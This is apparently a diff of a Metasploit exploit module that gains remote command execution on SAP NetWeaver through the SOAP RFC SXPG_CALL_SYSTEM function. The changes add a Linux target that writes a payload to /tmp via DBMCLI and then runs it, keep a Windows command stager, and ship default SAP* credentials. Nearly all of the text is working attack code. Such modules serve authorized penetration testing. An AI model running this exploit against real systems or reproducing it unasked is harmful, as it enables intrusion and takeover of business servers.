|
25 | 25 | require 'msf/core'
|
26 | 26 |
|
27 | 27 | class Metasploit4 < Msf::Exploit::Remote
|
28 |
| - Rank = ExcellentRanking |
| 28 | + |
| 29 | + Rank = GreatRanking |
| 30 | + |
29 | 31 | include Msf::Exploit::CmdStagerVBS
|
30 | 32 | include Msf::Exploit::EXE
|
31 | 33 | include Msf::Exploit::Remote::HttpClient
|
32 | 34 |
|
33 | 35 | def initialize
|
34 | 36 | super(
|
35 |
| - 'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution', |
| 37 | + 'Name' => 'SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution', |
36 | 38 | 'Description' => %q{
|
37 |
| - This module makes use of the SXPG_CALL_SYSTEM Remote Function Call, through the |
38 |
| - use of the /sap/bc/soap/rfc SOAP service to execute OS commands as configured in |
39 |
| - the SM69 transaction. |
40 |
| - }, |
| 39 | + This module abuses the SAP NetWeaver SXPG_CALL_SYSTEM function, on the SAP SOAP |
| 40 | + RFC Service, to execute remote commands. This module needs SAP credentials with |
| 41 | + privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested |
| 42 | + successfully on Windows 2008 64 bits and Linux 64 bits platforms. |
| 43 | + }, |
41 | 44 | 'References' =>
|
42 | 45 | [
|
43 | 46 | [ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
|
44 | 47 | ],
|
45 |
| - 'DisclosureDate' => 'March 26 2013', |
46 |
| - 'Platform' => ['windows'], |
47 |
| - 'Targets' => [['Windows Universal',{'Arch' => ARCH_X64,'Platform' => 'win'}]], |
| 48 | + 'DisclosureDate' => 'Mar 26 2013', |
| 49 | + 'Platform' => ['win', 'unix'], |
| 50 | + 'Targets' => [ |
| 51 | + [ 'Linux', |
| 52 | + { |
| 53 | + 'Arch' => ARCH_CMD, |
| 54 | + 'Platform' => 'unix' |
| 55 | + #'Payload' => |
| 56 | + #{ |
| 57 | + #'DisableNops' => true, |
| 58 | + #'Space' => 232, |
| 59 | + #'Compat' => |
| 60 | + #{ |
| 61 | + #'PayloadType' => 'cmd', |
| 62 | + #'RequiredCmd' => 'perl ruby', |
| 63 | + #} |
| 64 | + #} |
| 65 | + } |
| 66 | + ], |
| 67 | + [ 'Windows x64', |
| 68 | + { |
| 69 | + 'Arch' => ARCH_X86_64, |
| 70 | + 'Platform' => 'win' |
| 71 | + } |
| 72 | + ] |
| 73 | + ], |
48 | 74 | 'DefaultTarget' => 0,
|
49 |
| - 'Privileged' => true, |
50 |
| - 'Author' =>['nmonkee'], |
| 75 | + 'Privileged' => false, |
| 76 | + 'Author' => |
| 77 | + [ |
| 78 | + 'nmonkee' |
| 79 | + ], |
51 | 80 | 'License' => MSF_LICENSE
|
52 | 81 | )
|
53 | 82 | register_options(
|
54 | 83 | [
|
55 | 84 | Opt::RPORT(8000),
|
56 | 85 | OptString.new('CLIENT', [true, 'SAP Client', '001']),
|
57 | 86 | OptString.new('USERNAME', [true, 'Username', 'SAP*']),
|
58 |
| - OptString.new('PASSWORD', [true, 'Password', '06071992']), |
59 |
| - OptString.new('CMD', [true, 'SM69 command to be executed', nil]), |
60 |
| - OptEnum.new('OS', [true, 'SM69 Target OS','ANYOS',['ANYOS','Windows NT']]) |
| 87 | + OptString.new('PASSWORD', [true, 'Password', '06071992']) |
61 | 88 | ], self.class)
|
62 | 89 | register_advanced_options(
|
63 | 90 | [
|
64 |
| - OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', 250]), |
| 91 | + OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments (Windows Target)', 250]), |
65 | 92 | ], self.class)
|
66 | 93 | end
|
67 |
| - |
| 94 | + |
| 95 | + def send_soap_request(data) |
| 96 | + res = send_request_cgi({ |
| 97 | + 'uri' => '/sap/bc/soap/rfc', |
| 98 | + 'method' => 'POST', |
| 99 | + 'data' => data, |
| 100 | + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), |
| 101 | + 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], |
| 102 | + 'ctype' => 'text/xml; charset=UTF-8', |
| 103 | + 'headers' => { |
| 104 | + 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', |
| 105 | + }, |
| 106 | + 'vars_get' => { |
| 107 | + 'sap-client' => datastore['CLIENT'], |
| 108 | + 'sap-language' => 'EN' |
| 109 | + } |
| 110 | + }) |
| 111 | + return res |
| 112 | + end |
| 113 | + |
| 114 | + def build_soap_request(command, sap_command, sap_os) |
| 115 | + data = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>" |
| 116 | + data << "<env:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:env=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">" |
| 117 | + data << "<env:Body>" |
| 118 | + data << "<n1:SXPG_CALL_SYSTEM xmlns:n1=\"urn:sap-com:document:sap:rfc:functions\" env:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" |
| 119 | + data << "<ADDITIONAL_PARAMETERS>#{command}</ADDITIONAL_PARAMETERS>" |
| 120 | + data << "<COMMANDNAME>#{sap_command}</COMMANDNAME>" |
| 121 | + data << "<OPERATINGSYSTEM>#{sap_os}</OPERATINGSYSTEM>" |
| 122 | + data << "<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>" |
| 123 | + data << "</n1:SXPG_CALL_SYSTEM>" |
| 124 | + data << "</env:Body>" |
| 125 | + data << "</env:Envelope>" |
| 126 | + return data |
| 127 | + end |
| 128 | + |
| 129 | + def check |
| 130 | + data = rand_text_alphanumeric(4 + rand(4)) |
| 131 | + res = send_soap_request(data) |
| 132 | + if res and res.code == 500 and res.body =~ /faultstring/ |
| 133 | + return Exploit::CheckCode::Detected |
| 134 | + end |
| 135 | + return Exploit::CheckCode::Safe |
| 136 | + end |
| 137 | + |
68 | 138 | def exploit
|
69 |
| - linemax = datastore['PAYLOAD_SPLIT'] |
70 |
| - print_status("Using custom payload size of #{linemax}") if linemax != 250 |
71 |
| - print_status("[SAP] #{rhost}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request") |
72 |
| - execute_cmdstager({ :delay => 0.35, :linemax => linemax }) |
73 |
| - handler(nil) |
| 139 | + if target.name =~ /Windows/ |
| 140 | + linemax = datastore['PAYLOAD_SPLIT'] |
| 141 | + vprint_status("#{rhost}:#{rport} - Using custom payload size of #{linemax}") if linemax != 250 |
| 142 | + print_status("#{rhost}:#{rport} - Sending SOAP SXPG_COMMAND_EXECUTE request") |
| 143 | + execute_cmdstager({ :delay => 0.35, :linemax => linemax }) |
| 144 | + elsif target.name =~ /Linux/ |
| 145 | + file = rand_text_alphanumeric(5) |
| 146 | + stage_one = create_unix_payload(1,file) |
| 147 | + print_status("#{rhost}:#{rport} - Dumping the payload to /tmp/#{file}...") |
| 148 | + res = send_soap_request(stage_one) |
| 149 | + if res and res.code == 200 and res.body =~ /External program terminated/ |
| 150 | + print_good("#{rhost}:#{rport} - Payload dump was successful") |
| 151 | + else |
| 152 | + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed") |
| 153 | + end |
| 154 | + stage_two = create_unix_payload(2,file) |
| 155 | + print_status("#{rhost}:#{rport} - Executing /tmp/#{file}...") |
| 156 | + send_soap_request(stage_two) |
| 157 | + end |
| 158 | + end |
| 159 | + |
| 160 | + def create_unix_payload(stage, file) |
| 161 | + command = "" |
| 162 | + if target.name =~ /Linux/ |
| 163 | + if stage == 1 |
| 164 | + my_payload = payload.encoded.gsub(" ","\t") |
| 165 | + my_payload.gsub!("&","&") |
| 166 | + my_payload.gsub!("<","<") |
| 167 | + command = "-o /tmp/" + file + " -n pwnie" + "\n!" |
| 168 | + command << my_payload |
| 169 | + command << "\n" |
| 170 | + elsif stage == 2 |
| 171 | + command = "-ic /tmp/" + file |
| 172 | + end |
| 173 | + |
| 174 | + end |
| 175 | + |
| 176 | + return build_soap_request(command.to_s, "DBMCLI", "ANYOS") |
74 | 177 | end
|
75 | 178 |
|
76 | 179 | def execute_command(cmd, opts)
|
77 |
| - command = cmd.gsub(/&/,'&') |
78 |
| - os = datastore['OS'] |
79 |
| - data = '<?xml version="1.0" encoding="utf-8" ?>' |
80 |
| - data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' |
81 |
| - data << '<env:Body>' |
82 |
| - data << '<n1:SXPG_CALL_SYSTEM xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' |
83 |
| - data << '<ADDITIONAL_PARAMETERS>&' + command.to_s + '</ADDITIONAL_PARAMETERS>' |
84 |
| - data << '<COMMANDNAME>' + datastore['CMD'] + '</COMMANDNAME>' |
85 |
| - data << '<OPERATINGSYSTEM>' + os +'</OPERATINGSYSTEM>' |
86 |
| - data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>' |
87 |
| - data << '</n1:SXPG_CALL_SYSTEM>' |
88 |
| - data << '</env:Body>' |
89 |
| - data << '</env:Envelope>' |
90 |
| - user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD']) |
| 180 | + command = cmd.gsub(/&/, "&") |
| 181 | + command.gsub!(/%TEMP%\\/, "") |
| 182 | + data = build_soap_request("&#{command}", "LIST_DB2DUMP", "ANYOS") |
91 | 183 | begin
|
92 |
| - res = send_request_raw({ |
93 |
| - 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', |
94 |
| - 'method' => 'POST', |
95 |
| - 'data' => data, |
96 |
| - 'headers' =>{ |
97 |
| - 'Content-Length' => data.size.to_s, |
98 |
| - 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', |
99 |
| - 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], |
100 |
| - 'Authorization' => 'Basic ' + user_pass, |
101 |
| - 'Content-Type' => 'text/xml; charset=UTF-8' |
102 |
| - } |
103 |
| - }, 45) |
104 |
| - if res and res.code != 500 and res.code != 200 |
105 |
| - # to do - implement error handlers for each status code, 404, 301, etc. |
106 |
| - print_error("[SAP] #{rhost}:#{rport} - something went wrong!") |
107 |
| - return |
108 |
| - elsif res and res.body =~ /faultstring/ |
109 |
| - error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}) |
110 |
| - 0.upto(error.length-1) do |i| |
111 |
| - print_error("[SAP] #{rhost}:#{rport} - error #{error[i]}") |
112 |
| - end |
113 |
| - return |
114 |
| - elsif res and res.code == 200 |
| 184 | + res = send_soap_request(data) |
| 185 | + if res and res.code == 200 |
115 | 186 | return
|
116 | 187 | else
|
117 |
| - print_error("[SAP] #{rhost}:#{rport} - Unknown error") |
118 |
| - return |
| 188 | + if res and res.body =~ /faultstring/ |
| 189 | + error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}) |
| 190 | + 0.upto(error.length-1) do |i| |
| 191 | + vprint_error("#{rhost}:#{rport} - Error #{error[i]}") |
| 192 | + end |
| 193 | + end |
| 194 | + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Error injecting command") |
119 | 195 | end
|
120 | 196 | rescue ::Rex::ConnectionError
|
121 |
| - print_error("[SAP] #{rhost}:#{rport} - Unable to connect") |
122 |
| - return |
| 197 | + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect") |
123 | 198 | end
|
124 |
| - |
125 | 199 | end
|
126 | 200 | end
|
0 commit comments